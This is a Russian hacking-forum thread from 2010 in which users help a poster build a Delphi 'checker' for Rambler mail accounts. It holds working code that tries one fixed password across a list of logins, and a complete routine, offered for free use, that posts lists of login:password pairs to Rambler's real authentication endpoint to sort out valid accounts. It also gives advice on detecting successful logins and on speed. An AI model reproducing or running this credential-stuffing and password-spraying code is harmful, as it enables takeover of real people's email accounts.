Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Чекер рамблер (https://forum.antichat.xyz/showthread.php?t=198077)

aydar 21.04.2010 19:16

Чекер рамблер
 
Хочу создать чекер пока без наворотов.

Может кто-нибудь рассказать про словесный алгоритм чекера, или есть у кого-то сорцы.

Sunstrider 21.04.2010 19:39

Смотри,пишим функцию авторизации,далее циклом далее гуд записываем в мемо

aydar 21.04.2010 20:34

а по коду есть что-либо?

Скотти 21.04.2010 20:40

Цитата:

Сообщение от aydar
Хочу создать чекер пока без наворотов.

И

Цитата:

Сообщение от aydar
а по коду есть что-либо?

как бы разные это вещи. В чем проблема с нуля написать? Там сложного нет ничего.

Скачай analyzer
_http://www.ieinspector.com/httpanalyzer/download.html

Посмотри что и куда отправляется, когда авторизуешься.

Sunstrider 21.04.2010 21:10

Ты ЯП скажи,на delphi есть

xafon 21.04.2010 21:14

авторизация на дефли в принципе так может выглядеть:
Код:

var StrPage, ssylka:string;
    Data:TstringList;
begin
 idhttp1.HandleRedirects:=true;
 StrPage:=idhttp1.Get('http://odnoklassniki.ru/');
 ssylka:=Pars('<form action="',StrPage,'"');
 Data:=TstringList.Create;
 Data.Add('st.posted=set');
 Data.Add('st.email='+Edit1.Text);
 Data.Add('st.password='+Edit2.Text);
 Data.Add('button_go=Войти');
 StrPage:=idhttp1.Post(ssylka, Data);
 if Pos('Logoff', StrPage)<>0 then
  Label3.Caption:='Ага'
 else Label3.Caption:='Неа';
 Data.Free;

function TForm1.Pars(T_, ForS, _T: string): string;
var
  a, b: integer;
begin
  Result := '';
  if (T_ = '') or (ForS = '') or (_T = '') then
    Exit;
  a := Pos(T_, ForS);
  if a = 0 then
    Exit
  else
    a := a + Length(T_);
  ForS := Copy(ForS, a, Length(ForS) - a + 1);
  b := Pos(_T, ForS);
  if b > 0 then
    Result := Copy(ForS, 1, b - 1);
end;
end;


ZdezBilYa 21.04.2010 21:49

Цитата:

Сообщение от xafon
авторизация на дефли в принципе так может выглядеть:
Код:

var StrPage, ssylka:string;
    Data:TstringList;
begin
 idhttp1.HandleRedirects:=true;
 StrPage:=idhttp1.Get('http://odnoklassniki.ru/');
 ssylka:=Pars('<form action="',StrPage,'"');
 Data:=TstringList.Create;
 Data.Add('st.posted=set');
 Data.Add('st.email='+Edit1.Text);
 Data.Add('st.password='+Edit2.Text);
 Data.Add('button_go=Войти');
 StrPage:=idhttp1.Post(ssylka, Data);
 if Pos('Logoff', StrPage)<>0 then
  Label3.Caption:='Ага'
 else Label3.Caption:='Неа';
 Data.Free;

function TForm1.Pars(T_, ForS, _T: string): string;
var
  a, b: integer;
begin
  Result := '';
  if (T_ = '') or (ForS = '') or (_T = '') then
    Exit;
  a := Pos(T_, ForS);
  if a = 0 then
    Exit
  else
    a := a + Length(T_);
  ForS := Copy(ForS, a, Length(ForS) - a + 1);
  b := Pos(_T, ForS);
  if b > 0 then
    Result := Copy(ForS, 1, b - 1);
end;
end;


Ну вы вообще... Выкладываете код авторизации для левого сайта, меняете в нем "Залогинились" на "Ага", "Не залогинились" на "Неа". А потом еще пишете, что в принципе это так может выглядеть)))

M_script_ 21.04.2010 23:04

ZdezBilYa, твой код популярен, его в каждой второй теме про авторизацию пишут ;)

Serbies 22.04.2010 02:15

Простой алгоритм чеккера можно найти в анналах интеренета...
Вот краткая суть:
1)заходим на страницу главную
2) Вводим правельные данные и мониторим куда нас перенаправляет или какой ответ от сервера
3) Вводим неправельные данные и смотрим куда перенаправляет или какой ответ от сервера
4) Сравниваем и исчим различия - а точнее характерные данные для правельного запроса и для неправельного(в плане прошел чек удачно или нет)
5) Пишем прогу/скрипт

ЗЫ: какой язык программирования ?

aydar 22.04.2010 10:19

Дельфи

Если авторизация прошла успешно то нас отправляют сюда http://mail.rambler.ru/mail/startpage

Если нет то сюда http://id.rambler.ru/script/auth.cgi?mode=login

Serbies 22.04.2010 10:49

Цитата:

Сообщение от aydar
Дельфи
Если авторизация прошла успешно то нас отправляют сюда http://mail.rambler.ru/mail/startpage
Если нет то сюда http://id.rambler.ru/script/auth.cgi?mode=login

я не советую то что предложил ZdezBilYa - потому как метод хоть и выглядит легко, но у него подводный камень - скорость(хотя могит что то и изменилось за пару лет).
В твоем же случае могу посоветовать соккеты(сам исходник подобного чеккера не приведу так во первых он уже у меня где то сгинул, а во вторых самому будет полезно сделать мб и увлекательно)
Вот ссылки:
http://delphiworld.narod.ru/base/socket_get_page.html - вот это основа
http://delphiworld.narod.ru/base/socket_combine_blocks.html - это мб подводный камень
и еще поставь себе wareshark - полезная программа - там как раз посмотришь что и куда отправляецо и что принимаецо

aydar 22.04.2010 14:46

вот небольшие сырые наработки, пока без паролей

Цитата:

procedure TForm1.Button1Click(Sender: TObject);
var
params : tstringlist;
login,mail,s:string;
f:TextFile;

begin
login:='1aydar1992';
params := TStringList.Create;
AssignFile(f,'bazamail.txt');
reset(f);
while not eof(f) do
begin
readln(f,login);
try
params.Add('back=http://mail.rambler.ru/mail/startpage');
params.Add('login='+login);
params.Add('domain=rambler.ru');
params.Add('passw=1234567q');
memo1.Text := IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',params);
finally
if Pos('logout',memo1.Text)>0 then
memo2.text:=login else memo3.text:=login;
params.Free;
end;
end;
CloseFile(f);
end;
end.

1n0y 22.04.2010 16:19

Код:

procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
pass,mail,domain:string;
post, page:tstringlist;
begin
 for i:=0 to form1.memo1.lines.count-1 do
  begin
  pass:=copy(form1.memo1.lines[i], pos(':',form1.memo1.lines[i])+1, length(form1.memo1.lines[i]));
  mail:=form1.memo1.lines[i];
  delete(mail, pos('@', mail), length(mail));
    if ansipos('lenta.ru', form1.memo1.lines[i]) <>0 then
    domain:='lenta.ru';
    if ansipos('myrambler', form1.memo1.lines[i]) <>0 then
    domain:='myrambler.ru';
    if ansipos('autorambler', form1.memo1.lines[i]) <>0 then
    domain:='autorambler.ru';
    if ansipos('ro.ru', form1.memo1.lines[i]) <>0 then
    domain:='ro.ru';
    if ansipos('r0.ru', form1.memo1.lines[i]) <>0 then
    domain:='ro.ru';
    if ansipos('rambler.ru', form1.memo1.lines[i]) <>0 then
    domain:='rambler.ru';
  post:=tstringlist.create;
  page:=tstringlist.create;
  post.Add('back=http://mail.rambler.ru/mail/startpage');
  post.Add('login='+mail);
  post.Add('domain='+domain);
  post.Add('passw='+pass);
    try
    page.text:=IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',post);
    finally
    if ansipos('logout', page.text)<>0 then
      form1.Memo2.Lines.Add(form1.memo1.lines[i]);
    page.free;
    post.free;
    end;
  end;
end;

на форме кнопка и два мемо (1 и 2). если акк валид - выводица во второе мемо, если нет - не выводится

пользуйся на здоровье.

aydar 22.04.2010 16:29

кстати в рамблере необязательно выбирать домен, можно вводить так lolka@rambler.ru, проверено

aydar 22.04.2010 22:15

Народ а через чего быстрее делать идхттп ил винсок? или есть др способы?

TrueBit 22.04.2010 22:24

Цитата:

Сообщение от aydar
Народ а через чего быстрее делать идхттп ил винсок?

Делать быстрее через инди, но работать будет быстрее через winsock
Цитата:

Сообщение от aydar
или есть др способы?

wininet

M_script_ 22.04.2010 22:33

Цитата:

Сообщение от TrueBit
но работать будет быстрее через winsock

Это скорее стереотип, чем факт.


Время: 09:31